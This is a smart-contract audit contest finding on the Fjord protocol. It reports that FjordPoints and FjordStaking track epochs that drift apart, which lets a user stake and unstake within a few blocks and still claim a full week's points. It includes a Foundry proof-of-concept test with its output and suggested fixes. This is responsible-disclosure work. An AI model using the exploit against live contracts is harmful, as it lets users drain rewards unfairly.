DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: medium
Valid

Epoch mismatch in FjordPoints and FjordStaking leads to user being able to stake and unstake instantly for rewards

Summary

In FjordStaking and FjordPoints, the epoch times are calculated based on when the constructor is initialized(when the contracts are deployed). This leads to a mismatch in epoch time. Which allows users to stake and unstake immediately and still claim rewards.

Vulnerability Details

Assume that FjordPoints is deployed 20 blocks before FjordStaking. This will make the lastDistribution in FjordPoints vary from the startTimein FjordStaking by 20 blocks. This mismatch would lead to the subsequent epochs ending time to also vary by 20 blocks (since the epoch durations are the same i.e 1 week).

(https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordStaking.sol#L281-L293)

(https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordPoints.sol#L118-L120)

The problem arises because eventhough the FjordStaking epoch remains the same, the FjordPoints epoch gets updated to the next epoch.

FjordPoints: | --------------------X---|---Y----------------------|-------------------------|---------

FjordStaking: |---------------------------|-------------------------|------------------------|

(Here the vertical lines represent the epoch changes, the time between any 2 vertical lines is 1 week, and the mismatch in the first vertical line of both the contracts is due to different deployment times)

Scenario

  1. User calls the stake() function at time = X (https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordStaking.sol#L368-L391)

  2. User calls the unstake() function at time = Y (https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordStaking.sol#L449-L466)

    1. Note that the unstake can be done immediately since the epoch in FjordStaking hasnt changed

      // _epoch is same as current epoch then user can unstake immediately
      if (currentEpoch != _epoch) {
      // _epoch less than current epoch then user can unstake after at complete lockCycle
      if (currentEpoch - _epoch <= lockCycle) revert UnstakeEarly();
      }
  3. The unstake() function internally calls the points.onUnstaked() function in FjordPoints. The onUnstaked() function updates the rewards in the FjordPoints contract, by calling the checkDistribution() and updatePendingPoints(user) functions.

    (https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordPoints.sol#L214-L227)

    1. checkDistribution() : Here since the epoch has been updated in the FjordPoints contract, the rewards of the week are distributed. (https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordPoints.sol#L232-L248)

      function distributePoints() public {
      // This check passes since the epoch duration has passed in this contract
      if (block.timestamp < lastDistribution + EPOCH_DURATION) {
      return;
      }
      // rest of the code
    2. updatePendingPoints(user) : Here the user's pending points is updated to include the reward for this week. (https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordPoints.sol#L146C14-L153)

  4. User calls the claimPoints() function in FjordPoints, and gets his FjordPoints as reward.

Therefore the user has received the reward for the complete week just by being staked for (Y - X ) time. This (Y - X) time can be equal to 1 block too. So the user is getting rewarded unfairly which is not the intention of the protocol.

Note: To substantiate the claim that both the contracts, FjordPoints and FjordStaking will not be deployed on the same block, i have attached below the links for their testnet deployments. Here we can see that they are deployed 10 blocks apart from each other.

FjordPoints (block number : 71179313): https://sepolia.arbiscan.io/address/0x5833678d5a7feb297ab472913fe155082580b044

FjordStaking (block number : 71179323): https://sepolia.arbiscan.io/address/0x3479951f4f6f422df170df1aedb3cd69ee472816

These contract addresses are got from their documentation: (2024-08-fjord/deployments/421614-fjord-arbitrum_sepolia.json at main · Cyfrin/2024-08-fjord (github.com)

POC

In the POC i have used the case where (Y - X) == 20 blocks. This is done for simplicity.

Steps to run

Replace the /test/FjordStakingBase.t.sol with the below code.

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity =0.8.21;
import "../src/FjordStaking.sol";
import { FjordPoints } from "../src/FjordPoints.sol";
import { Test } from "forge-std/Test.sol";
import { MockERC20 } from "solmate/test/utils/mocks/MockERC20.sol";
import { FjordPointsMock } from "./mocks/FjordPointsMock.sol";
import { ISablierV2LockupLinear } from "lib/v2-core/src/interfaces/ISablierV2LockupLinear.sol";
import { ISablierV2Lockup } from "lib/v2-core/src/interfaces/ISablierV2Lockup.sol";
import { Broker, LockupLinear } from "lib/v2-core/src/types/DataTypes.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ud60x18 } from "@prb/math/src/UD60x18.sol";
import "lib/v2-core/src/libraries/Errors.sol";
import "forge-std/console.sol";
contract FjordStakingBase is Test {
event Staked(address indexed user, uint16 indexed epoch, uint256 amount);
event VestedStaked(
address indexed user, uint16 indexed epoch, uint256 indexed streamID, uint256 amount
);
event RewardAdded(uint16 indexed epoch, address rewardAdmin, uint256 amount);
event RewardClaimed(address indexed user, uint256 amount);
event EarlyRewardClaimed(address indexed user, uint256 rewardAmount, uint256 penaltyAmount);
event Unstaked(address indexed user, uint16 indexed epoch, uint256 stakedAmount);
event VestedUnstaked(
address indexed user, uint16 indexed epoch, uint256 stakedAmount, uint256 streamID
);
event ClaimReceiptCreated(address indexed user, uint16 requestEpoch);
event UnstakedAll(
address indexed user,
uint256 totalStakedAmount,
uint256[] activeDepositsBefore,
uint256[] activeDepositsAfter
);
event RewardPerTokenChanged(uint16 epoch, uint256 rewardPerToken);
event SablierWithdrawn(address indexed user, uint256 streamID, address caller, uint256 amount);
event SablierCanceled(address indexed user, uint256 streamID, address caller, uint256 amount);
uint256 constant addRewardPerEpoch = 1 ether;
FjordStaking fjordStaking;
FjordPoints fjordpoints;
MockERC20 token;
address minter = makeAddr("minter");
address newMinter = makeAddr("new_minter");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address internal constant SABLIER_ADDRESS = address(0xB10daee1FCF62243aE27776D7a92D39dC8740f95);
address points;
bool isMock = true;
ISablierV2LockupLinear SABLIER = ISablierV2LockupLinear(SABLIER_ADDRESS);
address authorizedSender = address(this);
bool isFuzzOrInvariant = false;
function beforeSetup() internal virtual { }
function afterSetup() internal virtual { }
function setUp() public {
beforeSetup();
if (!isFuzzOrInvariant) {
vm.createSelectFork({ urlOrAlias: "mainnet", blockNumber: 19_595_905 });
}
fjordpoints = new FjordPoints();
points = address(fjordpoints);
token = new MockERC20("Fjord", "FJO", 18);
vm.warp(vm.getBlockTimestamp() + 20); // time difference in deploying fjordPoints and fjordStaking
fjordStaking =
new FjordStaking(address(token), minter, SABLIER_ADDRESS, authorizedSender, points);
deal(address(token), address(this), 10000 ether);
token.approve(address(fjordStaking), 10000 ether);
deal(address(token), minter, 10000 ether);
vm.prank(minter);
token.approve(address(fjordStaking), 10000 ether);
deal(address(token), alice, 10000 ether);
vm.prank(alice);
token.approve(address(fjordStaking), 10000 ether);
deal(address(token), bob, 10000 ether);
vm.prank(bob);
token.approve(address(fjordStaking), 10000 ether);
fjordpoints.setStakingContract(address(fjordStaking));
afterSetup();
}
function testImmediateStakeUnstake() public {
uint256 EPOCH_DURATION = 1 weeks;
console.log("lastDistribution in fjordPoints is :", fjordpoints.lastDistribution());
console.log("start time in fjordStaking is :", fjordStaking.startTime());
vm.warp(vm.getBlockTimestamp() + EPOCH_DURATION - 25); // 5 blocks before the epoch ends in fjordPoints
console.log("Current timestamp is :", vm.getBlockTimestamp());
uint16 current_epoch_staking = fjordStaking.currentEpoch();
vm.prank(bob);
fjordStaking.stake(100 ether);
console.log("\nStaked amount in fjordPoints is :", fjordpoints.getUsers(bob).stakedAmount);
console.log("Pending points in fjordPoints is :", fjordpoints.getUsers(bob).pendingPoints);
// skipping to 5 blocks after epoch is over in fjordPoints, but 15 blocks before epoch is over in fjordStaking
vm.warp(vm.getBlockTimestamp() + 10);
// wont revert because unstake and stake happened in the same "staking" epoch
vm.prank(bob);
fjordStaking.unstake(current_epoch_staking, 100 ether);
console.log("\nStaked amount in fjordPoints is :", fjordpoints.getUsers(bob).stakedAmount); // 0
console.log("Pending points in fjordPoints is :", fjordpoints.getUsers(bob).pendingPoints); // 100 ether which is claimable by BOB
console.log("\nCurrent timestamp is :", vm.getBlockTimestamp());
}

OUTPUT

lastDistribution in fjordPoints is : 1712397095
start time in fjordStaking is : 1712397115
Current timestamp is : 1713001890
Staked amount in fjordPoints is : 100000000000000000000
Pending points in fjordPoints is : 0
Staked amount in fjordPoints is : 0
Pending points in fjordPoints is : 100000000000000000000
Current timestamp is : 1713001900

This shows that Bob received his reward after just staking for 10 blocks

Impact

The user will never have to stake more than 1 block, and can still recieve all the FjordPoints of the week as reward.

Tools Used

Manual Review

Recommendations

There are multiple ways to mitigate this issue :

  1. Make sure that both the contracts are deployed in the same transaction. (FjordPoints first, sicne FjordStaking needs address(FjordPoints))

  2. Consider having the same variable for epoch/startTime in both the contracts. For example: FjordPoints epoch can be calculated after taking the startTime from FjordStaking.

Updates

Lead Judging Commences

inallhonesty Lead Judge
10 months ago
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Appeal created

anonymousjoe Submitter
10 months ago
anonymousjoe Submitter
10 months ago
inallhonesty Lead Judge
10 months ago
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

If epoch end times of FjordStaking and FjordPoints are desynchronized, users will be able to exploit the desynchronization to stake>claim>unstake instantly, getting points they shouldn't

Impact: High - Users are getting an unreasonable amount of points through exploiting a vulnerability Likelihood: Low - Most of the times, when using the script, all deployment tx will get processed in the same block. But, there is a small chance for them to be processed in different blocks.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.